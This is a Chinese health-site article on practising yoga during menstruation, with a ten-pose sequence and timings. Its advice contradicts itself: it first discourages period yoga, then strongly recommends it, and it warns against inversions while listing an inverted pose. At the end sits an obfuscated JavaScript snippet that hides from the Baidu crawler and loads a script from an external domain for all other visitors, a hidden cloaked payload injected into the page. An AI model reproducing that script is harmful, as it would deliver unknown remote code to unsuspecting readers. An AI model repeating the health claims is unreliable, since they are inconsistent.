当前位置:首页 > 健康 > 运动健身 > 正文

月经时是可以练瑜珈吗?

2017-04-14 17:14:12  来源:360常识网   热度:
导语:现在越来越多的女性喜欢练习瑜伽,多数人想通过练习瑜伽,调整自己的身形,甚至还有一些人想通过练习瑜伽达到减肥的目的,瑜伽确实有塑身美

现在越来越多的女性喜欢练习瑜伽,多数人想通过练习瑜伽,调整自己的身形,甚至还有一些人想通过练习瑜伽达到减肥的目的,瑜伽确实有塑身美体的效果,并且还能预防很多疾病,功效的确很多,但是有很多女性都想知道,来例假能否练习瑜伽呢?其实也是可以的,但有些动作是不能做的 ,一起看看吧!

一般来说,经期女人不适合进行瑜珈练习。但是生理期通过特定的瑜伽运动,可以促进我们下半身的血液循环,锻炼我们的骨盆,最重要的是可以细腰,这一姿势适合腰部肥胖的人,同时它还可以预防腹部的脂肪堆积,可以让生理期不顺畅的姑娘得到一个调整。

在经期练习瑜伽体式非常值得推荐。这是因为练习可以减轻痛经的不适,平息情绪的波动,平息焦虑和沮丧,减轻浮肿。每位练习瑜伽的女性,应该根据自己的具体情况在经期选择适当的体式进行练习。

下面是一个女性经期瑜伽练习的体式系列,供参考。

经期系列(至少45分钟,最多60分钟)

1.卧束角式

用一长枕支撑身体,练习5分钟。

2.卧大脚趾的体式

使用一条带子适当把握举起的腿。一侧保持2分钟,共练习4分钟。

3.束角式

练习2分钟。

4.单腿坐式体前屈式

保持3到5分钟,共练习6到10分钟。

5.双腿坐式体前屈式

练习3到5分钟。

6.坐角式

向前弯曲身体3到5分钟;身体转向一侧,双手攀握胫骨或者脚掌,向前弯曲身体,保持0.5到1分钟,两侧练习1到2分钟。通过运动,它可以促进我们下半身的血液循环,锻炼我们的骨盆。

7.向上的弓式

练习3到5分钟。

8.坐式扭转体式

每侧练习一次保持30秒钟,每侧三次,共练习3分钟。

9.倒箭式

练习5到10分钟

10.挺卧式

练习10分钟

通过运动,它可以促进我们下半身的血液循环,锻炼我们的骨盆,最重要的是可以细腰,这一姿势适合腰部肥胖的人,同时它还可以预防腹部的脂肪堆积,可以让生理期不顺畅的姑娘得到一个调整。

如果例假期间练习瑜伽的话,最好听取指导老师的建议,有一些倒立式的动作不要做,例假期间女性的抵抗力比较弱,所以应该多护理自己,最好不要练习高温瑜伽,可以练习普通瑜伽。在饮食上要注意,多吃清淡些的东西,可以适当喝一些红糖水。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}